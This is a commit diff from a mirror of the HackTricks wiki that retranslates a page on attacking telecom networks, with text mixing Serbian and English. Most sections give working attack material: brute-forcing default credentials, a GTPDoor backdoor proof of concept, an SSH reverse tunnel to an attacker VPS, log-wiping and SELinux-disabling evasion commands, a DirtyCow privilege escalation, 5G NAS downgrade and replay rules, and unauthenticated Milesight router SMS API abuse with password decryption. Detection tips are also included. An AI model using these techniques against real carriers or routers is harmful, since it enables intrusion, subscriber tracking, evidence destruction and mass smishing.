mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/generic-methodologies-and-resources/phishing-method
This commit is contained in:
parent
4e8621255f
commit
f9a580a3cc
@ -1,27 +1,27 @@
|
|||||||
# Eksploatacija telekom mreža (GTP / Roaming Environments)
|
# Telecom Network Exploitation (GTP / Roaming Environments)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Mobilni core protokoli (GPRS Tunnelling Protocol – GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbones. Pošto idu preko plain UDP sa gotovo nikakvom autentifikacijom, **bilo koja pozicija unutar telekom perimetra obično može direktno dostići core signalling plane**. Sledeće beleške prikupljaju ofanzivne trikove primećene u divljini protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova.
|
> Protokoli mobilne jezgre (GPRS Tunnelling Protocol – GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbones. Pošto koriste običan UDP sa gotovo nikakvom autentifikacijom, **bilo koji foothold unutar telekom perimetra obično može direktno dostići core signalling planes**. Sledeće beleške prikupljaju ofanzivne trikove zabeležene u stvarnom svetu protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova.
|
||||||
|
|
||||||
## 1. Recon & Initial Access
|
## 1. Recon & Initial Access
|
||||||
|
|
||||||
### 1.1 Default OSS / NE Accounts
|
### 1.1 Podrazumevani OSS / NE nalozi
|
||||||
Iznenađujuće veliki broj mrežnih elemenata dobavljača dolazi sa hard-coded SSH/Telnet korisnicima kao što su `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Posvećeni wordlist dramatično povećava uspeh brute-force-a:
|
Zapanjujuće veliki broj mrežnih elemenata dobavljača isporučuje se sa hard-coded SSH/Telnet korisničkim nalozima kao što su `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Posvećena wordlist dramatično povećava uspeh brute-force napada:
|
||||||
```bash
|
```bash
|
||||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||||
```
|
```
|
||||||
Ako uređaj izlaže samo management VRF, prvo pivotirajte kroz jump host (pogledajte odeljak «SGSN Emu Tunnel» ispod).
|
If the device exposes only a management VRF, pivot through a jump host first (see section «SGSN Emu Tunnel» below).
|
||||||
|
|
||||||
### 1.2 Otkrivanje hostova unutar GRX/IPX
|
### 1.2 Otkrivanje hostova unutar GRX/IPX
|
||||||
Većina GRX operatora i dalje dozvoljava **ICMP echo** preko backbone-a. Kombinujte `masscan` sa ugrađenim `gtpv1` UDP sondama da brzo mapirate GTP-C slušaoce:
|
Većina GRX operatora i dalje dozvoljava **ICMP echo** preko backbone-a. Kombinujte `masscan` sa ugrađenim `gtpv1` UDP probes da brzo mapirate GTP-C slušače:
|
||||||
```bash
|
```bash
|
||||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||||
```
|
```
|
||||||
## 2. Enumeracija pretplatnika – `cordscan`
|
## 2. Enumerating Subscribers – `cordscan`
|
||||||
|
|
||||||
Sledeći Go alat sastavlja pakete **GTP-C Create PDP Context Request** i beleži odgovore. Svaki odgovor otkriva trenutni **SGSN / MME** koji opslužuje upitani IMSI i, ponekad, posećeni PLMN pretplatnika.
|
Sledeći Go alat kreira pakete **GTP-C Create PDP Context Request** i zapisuje odgovore. Svaki odgovor otkriva trenutni **SGSN / MME** koji opslužuje upitani IMSI i, ponekad, posećeni PLMN pretplatnika.
|
||||||
```bash
|
```bash
|
||||||
# Build
|
# Build
|
||||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||||
@ -29,22 +29,22 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
|||||||
# Usage (typical):
|
# Usage (typical):
|
||||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||||
```
|
```
|
||||||
Ključne opcije:
|
Key flags:
|
||||||
- `--imsi` IMSI ciljnog pretplatnika
|
- `--imsi` Ciljni pretplatnik IMSI
|
||||||
- `--oper` Home / HNI (MCC+MNC)
|
- `--oper` Home / HNI (MCC+MNC)
|
||||||
- `-w` Zapiši raw packets u pcap
|
- `-w` Zapiši raw pakete u pcap
|
||||||
|
|
||||||
Važne konstante unutar binarnog fajla mogu se izmeniti da bi se obim skeniranja povećao:
|
Važne konstante unutar binarnog fajla mogu se izmeniti da bi se povećao opseg skeniranja:
|
||||||
```
|
```
|
||||||
pingtimeout = 3 // seconds before giving up
|
pingtimeout = 3 // seconds before giving up
|
||||||
pco = 0x218080
|
pco = 0x218080
|
||||||
common_tcp_ports = "22,23,80,443,8080"
|
common_tcp_ports = "22,23,80,443,8080"
|
||||||
```
|
```
|
||||||
## 3. Izvršavanje koda preko GTP – `GTPDoor`
|
## 3. Code Execution over GTP – `GTPDoor`
|
||||||
|
|
||||||
`GTPDoor` je mali ELF servis koji **veže UDP 2123 i parsira svaki dolazni GTP-C paket**. Kada payload počinje sa pre-shared tag-om, ostatak se dešifruje (AES-128-CBC) i izvršava preko `/bin/sh -c`. stdout/stderr se eksfiltriraju unutar **Echo Response** poruka tako da nikada nije uspostavljena izlazna sesija.
|
`GTPDoor` je mali ELF servis koji **veže se za UDP 2123 i parsira svaki dolazni GTP-C paket**. Kada payload počinje pre-shared tagom, ostatak se dekriptuje (AES-128-CBC) i izvršava preko `/bin/sh -c`. stdout/stderr se eksfiltriraju unutar **Echo Response** poruka tako da se nikada ne uspostavlja spoljašnja sesija.
|
||||||
|
|
||||||
Minimalni PoC packet (Python):
|
Minimalni PoC paket (Python):
|
||||||
```python
|
```python
|
||||||
import gtpc, Crypto.Cipher.AES as AES
|
import gtpc, Crypto.Cipher.AES as AES
|
||||||
key = b"SixteenByteKey!"
|
key = b"SixteenByteKey!"
|
||||||
@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
|||||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||||
```
|
```
|
||||||
Detekcija:
|
Detekcija:
|
||||||
* bilo koji host koji šalje **unbalanced Echo Requests** prema SGSN IP adresama
|
* bilo koji host koji šalje **unbalanced Echo Requests** ka SGSN IP-ovima
|
||||||
* GTP version flag postavljen na 1 dok je message type = 1 (Echo) – odstupanje od specifikacije
|
* GTP version flag postavljen na 1 dok je message type = 1 (Echo) – odstupanje od specifikacije
|
||||||
|
|
||||||
## 4. Pivoting Through the Core
|
## 4. Pivoting Through the Core
|
||||||
|
|
||||||
### 4.1 `sgsnemu` + SOCKS5
|
### 4.1 `sgsnemu` + SOCKS5
|
||||||
`OsmoGGSN` isporučuje SGSN emulator sposoban da **establish a PDP context towards a real GGSN/PGW**. Nakon pregovora, Linux dobija novi `tun0` interfejs dostupan sa roaming peer-a.
|
`OsmoGGSN` isporučuje SGSN emulator koji može da **establish a PDP context towards a real GGSN/PGW**. Kada se to pregovori, Linux dobija novi `tun0` interfejs dostupan sa roaming peer-a.
|
||||||
```bash
|
```bash
|
||||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||||
-APN internet -c 1 -d
|
-APN internet -c 1 -d
|
||||||
ip route add 172.16.0.0/12 dev tun0
|
ip route add 172.16.0.0/12 dev tun0
|
||||||
microsocks -p 1080 & # internal SOCKS proxy
|
microsocks -p 1080 & # internal SOCKS proxy
|
||||||
```
|
```
|
||||||
With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **sloj podataka**.
|
Uz pravilno firewall hair-pinning, ovaj tunel zaobilazi signalling-only VLANs i dovodi vas direktno u **data plane**.
|
||||||
|
|
||||||
### 4.2 SSH Reverse Tunnel over Port 53
|
### 4.2 SSH Reverse Tunnel over Port 53
|
||||||
DNS je skoro uvek otvoren u roaming infrastrukturi. Izložite internu SSH uslugu na vašem VPS-u koja sluša na :53 i povežite se kasnije iz kuće:
|
DNS je skoro uvek otvoren u roaming infrastrukturnim okruženjima. Izložite internu SSH uslugu na vaš VPS koja osluškuje na :53 i vratite se kasnije iz kuće:
|
||||||
```bash
|
```bash
|
||||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||||
```
|
```
|
||||||
Proverite da li je `GatewayPorts yes` omogućen na VPS-u.
|
Proverite da li je `GatewayPorts yes` omogućeno na VPS-u.
|
||||||
|
|
||||||
## 5. Tajni kanali
|
## 5. Skriveni kanali
|
||||||
|
|
||||||
| Kanal | Transport | Dekodiranje | Napomene |
|
| Kanal | Transport | Dekodiranje | Napomene |
|
||||||
|---------|-----------|----------|-------|
|
|-------|-----------|------------|----------|
|
||||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | potpuno pasivan, bez odlaznog saobraćaja |
|
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | čisto pasivan listener, bez odlaznog saobraćaja |
|
||||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) enkodirano u oktetima A-record zapisa | posmatra `*.nodep` poddomen |
|
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) enkodirano u oktetima A-record zapisa | prati `*.nodep` poddomen |
|
||||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob u private IE | meša se sa legitimnim GTP-C saobraćajem |
|
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob u privatnom IE | stapa se sa legitimnim GTP-C saobraćajem |
|
||||||
|
|
||||||
Svi implants implementiraju watchdogs koji **timestomp** njihove binarne fajlove i ponovo ih pokreću ako se sruše.
|
Svi implants implementiraju watchdogs koji **timestomp** njihove binarne datoteke i re-spawn ako se sruše.
|
||||||
|
|
||||||
## 6. Pregled tehnika izbegavanja detekcije
|
## 6. Defense Evasion Cheatsheet
|
||||||
```bash
|
```bash
|
||||||
# Remove attacker IPs from wtmp
|
# Remove attacker IPs from wtmp
|
||||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||||
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
|||||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||||
setenforce 0 # disable SELinux
|
setenforce 0 # disable SELinux
|
||||||
```
|
```
|
||||||
## 7. Eskalacija privilegija na Legacy NE
|
## 7. Privilege Escalation na zastarelom NE
|
||||||
```bash
|
```bash
|
||||||
# DirtyCow – CVE-2016-5195
|
# DirtyCow – CVE-2016-5195
|
||||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||||
@ -116,76 +116,76 @@ Savet za čišćenje:
|
|||||||
userdel firefart 2>/dev/null
|
userdel firefart 2>/dev/null
|
||||||
rm -f /tmp/sh ; history -c
|
rm -f /tmp/sh ; history -c
|
||||||
```
|
```
|
||||||
## 8. Set alata
|
## 8. Tool Box
|
||||||
|
|
||||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling opisani u prethodnim sekcijama.
|
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling opisano u prethodnim sekcijama.
|
||||||
* `FScan` : skeniranje intraneta po TCP portovima (`fscan -p 22,80,443 10.0.0.0/24`)
|
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||||
* `Microsocks` + `ProxyChains` : lagani SOCKS5 pivoting
|
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
|
||||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||||
|
|
||||||
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||||
|
|
||||||
Procedura registracije u 5G ide preko NAS (Non-Access Stratum) na vrhu NGAP. Dok sigurnost NAS-a nije aktivirana preko Security Mode Command/Complete, inicijalne poruke nisu autentifikovane niti enkriptovane. Ovo pred-bezbednosno vreme omogućava više puteva napada kada možete da posmatrate ili menjate N2 saobraćaj (npr. on-path unutar core-a, lažni gNB, ili testbed).
|
5G procedura registracije se odvija preko NAS (Non-Access Stratum) na vrhu NGAP. Dokle god NAS security nije aktiviran putem Security Mode Command/Complete, inicijalne poruke nisu autentifikovane niti šifrovane. Ovo pre-security prozorsko stanje omogućava više puteva napada kad možete da posmatrate ili manipulišete N2 saobraćajem (npr. on-path unutar core-a, rogue gNB, ili testbed).
|
||||||
|
|
||||||
Tok registracije (pojednostavljeno):
|
Registration flow (simplified):
|
||||||
- Registration Request: UE šalje SUCI (šifrovani SUPI) i capabilities.
|
- Registration Request: UE šalje SUCI (encrypted SUPI) i capabilities.
|
||||||
- Authentication: AMF/AUSF šalju RAND/AUTN; UE vraća RES*.
|
- Authentication: AMF/AUSF šalju RAND/AUTN; UE vraća RES*.
|
||||||
- Security Mode Command/Complete: pregovaraju se i aktiviraju NAS integrity i ciphering.
|
- Security Mode Command/Complete: NAS integrity i ciphering se pregovaraju i aktiviraju.
|
||||||
- PDU Session Establishment: podešavanje IP/QoS.
|
- PDU Session Establishment: IP/QoS podešavanje.
|
||||||
|
|
||||||
Saveti za lab podešavanje (bez RF):
|
Lab setup tips (non-RF):
|
||||||
- Core: Open5GS default deployment je dovoljan za reprodukciju toka.
|
- Core: Open5GS default deployment je dovoljan za reprodukciju flow-ova.
|
||||||
- UE: simulator ili test UE; dekodovati pomoću Wireshark.
|
- UE: simulator ili test UE; dekodujte koristeći Wireshark.
|
||||||
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
|
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
|
||||||
- Korisni display filteri u Wireshark:
|
- Useful display filters in Wireshark:
|
||||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||||
|
|
||||||
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
||||||
Očekivano: UE/USIM mora da šalje SUCI (SUPI enkriptovan javnim ključem home network-a). Pronalazak plaintext SUPI/IMSI u Registration Request ukazuje na propust privatnosti koji omogućava trajno praćenje pretplatnika.
|
Expected: UE/USIM mora da šalje SUCI (SUPI šifrovan sa home-network public key). Nalazak plaintext SUPI/IMSI u Registration Request ukazuje na privatnosni defekt koji omogućava persistentno praćenje pretplatnika.
|
||||||
|
|
||||||
Kako testirati:
|
How to test:
|
||||||
- Presretnite prvu NAS poruku u InitialUEMessage i pregledajte Mobile Identity IE.
|
- Capture the first NAS message in InitialUEMessage i ispitajte Mobile Identity IE.
|
||||||
- Wireshark brze provere:
|
- Wireshark quick checks:
|
||||||
- Trebalo bi da dekodira kao SUCI, ne IMSI.
|
- Trebalo bi da dekodira kao SUCI, a ne kao IMSI.
|
||||||
- Primer filtera: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` bi trebalo da postoji; odsustvo plus prisustvo `imsi` ukazuje na leakage.
|
- Primer filtera: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` treba da postoji; odsustvo plus prisustvo `imsi` ukazuje na curenje.
|
||||||
|
|
||||||
Šta prikupiti:
|
What to collect:
|
||||||
- MCC/MNC/MSIN ako su izloženi; logovati po-UE i pratiti preko vremena/lokacija.
|
- MCC/MNC/MSIN ako su izloženi; logujte po-UE i pratite kroz vreme/locacije.
|
||||||
|
|
||||||
Mitigacija:
|
Mitigation:
|
||||||
- Primorati SUCI-only UEs/USIMs; alarmirati na bilo koji IMSI/SUPI u inicijalnom NAS-u.
|
- Enforce SUCI-only UEs/USIMs; alert na bilo koji IMSI/SUPI u inicijalnom NAS.
|
||||||
|
|
||||||
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
||||||
Background:
|
Background:
|
||||||
- UE advertises podržane EEA (encryption) i EIA (integrity) u UE Security Capability IE Registration Request-a.
|
- UE advertises supported EEA (encryption) i EIA (integrity) u UE Security Capability IE Registration Request-a.
|
||||||
- Uobičajene mape: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 su null algoritmi.
|
- Uobičajene mape: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 su null algoritmi.
|
||||||
|
|
||||||
Problem:
|
Issue:
|
||||||
- Pošto Registration Request nije integrity zaštićen, on-path napadač može očistiti capability bitove kako bi prisilio izbor EEA0/EIA0 kasnije tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme i van emergency servisa.
|
- Pošto Registration Request nije integrity zaštićen, on-path napadač može da obriše capability bitove da prisili selekciju EEA0/EIA0 kasnije tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme van emergency servisa.
|
||||||
|
|
||||||
Ofanzivni koraci:
|
Offensive steps:
|
||||||
- Presretnite InitialUEMessage i izmenite NAS UE Security Capability da oglašava samo EEA0/EIA0.
|
- Intercept InitialUEMessage i modifikujte NAS UE Security Capability da reklamira samo EEA0/EIA0.
|
||||||
- Sa Sni5Gect, hook-ujte NAS poruku i iscribajte capability bitove pre prosljeđivanja.
|
- Sa Sni5Gect hook-ujte NAS poruku i zapatch-ujte capability bitove pre prosleđivanja.
|
||||||
- Posmatrajte da li AMF prihvata null ciphers/integrity i završava Security Mode sa EEA0/EIA0.
|
- Posmatrajte da li AMF prihvata null cipher/integrity i završava Security Mode sa EEA0/EIA0.
|
||||||
|
|
||||||
Verifikacija/vidljivost:
|
Verification/visibility:
|
||||||
- U Wireshark-u, potvrdite izabrane algoritme nakon Security Mode Command/Complete.
|
- U Wireshark-u, potvrdite izabrane algoritme nakon Security Mode Command/Complete.
|
||||||
- Primer izlaza pasivnog sniffera:
|
- Example passive sniffer output:
|
||||||
```
|
```
|
||||||
Encyrption in use [EEA0]
|
Encyrption in use [EEA0]
|
||||||
Integrity in use [EIA0, EIA1, EIA2]
|
Integrity in use [EIA0, EIA1, EIA2]
|
||||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||||
```
|
```
|
||||||
Mitigacije (obavezno):
|
Mere ublažavanja (obavezno):
|
||||||
- Konfigurišite AMF/policy da odbija EEA0/EIA0 osim tamo gde je strogo propisano (npr. hitni pozivi).
|
- Konfigurišite AMF/policy da odbija EEA0/EIA0 osim gde je strogo naloženo (npr. hitni pozivi).
|
||||||
- Poželjno je primenjivati EEA2/EIA2 kao minimum; logujte i podignite alarm za svaki NAS security context koji pregovara null algorithms.
|
- Poželjno je primenjivati EEA2/EIA2 kao minimum; zabeležite i pokrenite alarm za svaki NAS security context koji pregovara null algoritme.
|
||||||
|
|
||||||
### 9.3 Replay of initial Registration Request (pre-security NAS)
|
### 9.3 Replay of initial Registration Request (pre-security NAS)
|
||||||
Pošto initial NAS nema integritet i svežinu, uhvaćeni InitialUEMessage+Registration Request može biti replayed prema AMF.
|
Pošto početni NAS nema integritet i svežinu, presretnuti InitialUEMessage+Registration Request mogu biti replayed na AMF.
|
||||||
|
|
||||||
PoC pravilo za 5GReplay za prosleđivanje odgovarajućih replays:
|
PoC rule for 5GReplay to forward matching replays:
|
||||||
```xml
|
```xml
|
||||||
<beginning>
|
<beginning>
|
||||||
<property value="THEN"
|
<property value="THEN"
|
||||||
@ -209,31 +209,90 @@ boolean_expression="nas_5g.message_type == 65"/>
|
|||||||
</beginning>
|
</beginning>
|
||||||
```
|
```
|
||||||
What to observe:
|
What to observe:
|
||||||
- Da li AMF prihvata replay i nastavlja sa autentikacijom; nedostatak validacije svežine/konteksta ukazuje na izloženost.
|
- Da li AMF prihvata replay i nastavlja ka Authentication; lack of freshness/context validation ukazuje na izloženost.
|
||||||
|
|
||||||
Mitigations:
|
Mitigations:
|
||||||
- Sprovoditi zaštitu od replay-a / vezivanje konteksta na AMF; ograničiti stopu (rate-limit) i korelirati po GNB/UE.
|
- Primeni replay protection/context binding na AMF; rate-limit i correlate po-GNB/UE.
|
||||||
|
|
||||||
### 9.4 Tooling pointers (reproducible)
|
### 9.4 Tooling pointers (reproducible)
|
||||||
- Open5GS: podignite AMF/SMF/UPF da emulirate core; posmatrajte N2 (NGAP) i NAS.
|
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
|
||||||
- Wireshark: proverite dekodiranje NGAP/NAS; primenite gore navedene filtere da izolujete Registration.
|
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
|
||||||
- 5GReplay: zabeležite registration, zatim replay-ujte specifične NGAP + NAS poruke prema pravilu.
|
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
|
||||||
- Sni5Gect: live sniff/modify/inject NAS control-plane da prisilite null algoritme ili poremete sekvence autentikacije.
|
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
|
||||||
|
|
||||||
### 9.5 Defensive checklist
|
### 9.5 Defensive checklist
|
||||||
- Kontinuirano pregledajte Registration Request na plaintext SUPI/IMSI; blokirajte uređaje/USIMs koji krše pravila.
|
- Kontinuirano inspect Registration Request za plaintext SUPI/IMSI; block offending devices/USIMs.
|
||||||
- Odbacujte EEA0/EIA0 osim u strogo definisanim hitnim procedurama; zahtevajte najmanje EEA2/EIA2.
|
- Reject EEA0/EIA0 osim za striktno definisane emergency procedure; require at least EEA2/EIA2.
|
||||||
- Otkrivajte rogue ili pogrešno konfigurisanu infrastrukturu: neautorizovani gNB/AMF, neočekivani N2 peers.
|
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
|
||||||
- Alarmirajte za NAS security modes koji rezultuju null algoritmima ili čestim replay-ovima InitialUEMessage.
|
- Alert on NAS security modes koji rezultuju null algorithms ili čestim replays of InitialUEMessage.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## 10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
|
||||||
|
|
||||||
|
Zloupotreba exposed web API-ja industrijskih cellular routers omogućava stealthy, carrier-origin smishing u velikoj skali. Milesight UR-series routers expose a JSON-RPC–style endpoint at `/cgi`. Kada je pogrešno konfigurisano, API se može query-ovati without authentication da listuje SMS inbox/outbox i, u nekim deployment-ima, da šalje SMS.
|
||||||
|
|
||||||
|
Typical unauthenticated requests (same structure for inbox/outbox):
|
||||||
|
```http
|
||||||
|
POST /cgi HTTP/1.1
|
||||||
|
Host: <router>
|
||||||
|
Content-Type: application/json
|
||||||
|
|
||||||
|
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
|
||||||
|
```
|
||||||
|
|
||||||
|
```json
|
||||||
|
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
|
||||||
|
```
|
||||||
|
Odgovori sadrže polja kao što su `timestamp`, `content`, `phone_number` (E.164) i `status` (`success` ili `failed`). Ponavljana slanja sa statusom `failed` na isti broj često su napadačeve “capability checks” da potvrde da router/SIM može isporučiti pre masovnog slanja.
|
||||||
|
|
||||||
|
Primer curl komande za exfiltrate SMS metapodataka:
|
||||||
|
```bash
|
||||||
|
curl -sk -X POST http://<router>/cgi \
|
||||||
|
-H 'Content-Type: application/json' \
|
||||||
|
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
|
||||||
|
```
|
||||||
|
Beleške o auth artefaktima:
|
||||||
|
- Neki saobraćaj može uključivati auth cookie, ali veliki deo izloženih uređaja odgovara bez ikakve autentikacije na `query_inbox`/`query_outbox` kada je management interfejs izložen Internetu.
|
||||||
|
- U okruženjima koja zahtevaju auth, previously-leaked credentials (see below) vraćaju pristup.
|
||||||
|
|
||||||
|
Putanja oporavka kredencijala – CVE-2023-43261:
|
||||||
|
- Pogođene familije: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
|
||||||
|
- Problem: web-served logs (npr. `httpd.log`) su dostupni bez autentikacije pod `/lang/log/` i sadrže admin login događaje sa lozinkom enkriptovanom korišćenjem hardkodovanog AES key/IV prisutnog u client-side JavaScript.
|
||||||
|
- Praktičan pristup i dekript:
|
||||||
|
```bash
|
||||||
|
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
|
||||||
|
# Look for entries like: {"username":"admin","password":"<base64>"}
|
||||||
|
```
|
||||||
|
Minimalni Python za dešifrovanje leaked lozinki (AES-128-CBC, hardcoded key/IV):
|
||||||
|
```python
|
||||||
|
import base64
|
||||||
|
from Crypto.Cipher import AES
|
||||||
|
from Crypto.Util.Padding import unpad
|
||||||
|
KEY=b'1111111111111111'; IV=b'2222222222222222'
|
||||||
|
enc_b64='...' # value from httpd.log
|
||||||
|
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
|
||||||
|
```
|
||||||
|
Ideje za hunting i detekciju (mreža):
|
||||||
|
- Alert na neautentifikovan `POST /cgi` čije JSON telo sadrži `base`/`function` postavljeno na `query_inbox` ili `query_outbox`.
|
||||||
|
- Pratiti ponovljene `POST /cgi` burst-ove koji su praćeni `status":"failed"` unosima preko mnogo različitih brojeva sa iste source IP (capability testing).
|
||||||
|
- Inventarizovati Internet-exposed Milesight routere; ograničiti management na VPN; onemogućiti SMS funkcije osim ako nisu potrebne; nadograditi na ≥ v35.3.0.7; rotirati kredencijale i pregledati SMS logove za nepoznata slanja.
|
||||||
|
|
||||||
|
Shodan/OSINT pivots (examples seen in the wild):
|
||||||
|
- `http.html:"rt_title"` matches Milesight router panels.
|
||||||
|
- Google dorking for exposed logs: `"/lang/log/system" ext:log`.
|
||||||
|
|
||||||
|
Operativni uticaj: korišćenje legitimnih carrier SIMs unutar routera daje vrlo visoku SMS deliverability/credibility za phishing, dok inbox/outbox exposure leaks sensitive metadata at scale.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Detection Ideas
|
## Detection Ideas
|
||||||
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
|
1. **Bilo koji uređaj koji nije SGSN/GGSN koji uspostavlja Create PDP Context Requests**.
|
||||||
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
|
2. **Nestandardni portovi (53, 80, 443) koji primaju SSH handshakes** iz internih IP adresa.
|
||||||
3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
|
3. **Česti Echo Requests bez odgovarajućih Echo Responses** – može ukazivati na GTPDoor beacone.
|
||||||
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
|
4. **Visok nivo ICMP echo-reply saobraćaja sa velikim, nenultim identifier/sequence poljima**.
|
||||||
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
|
5. 5G: **InitialUEMessage koji nosi NAS Registration Requests ponovljene sa istih endpoint-a** (replay signal).
|
||||||
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
|
6. 5G: **NAS Security Mode koji pregovara EEA0/EIA0 izvan emergency konteksta**.
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
@ -243,5 +302,8 @@ Mitigations:
|
|||||||
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
|
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
|
||||||
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
|
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
|
||||||
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
|
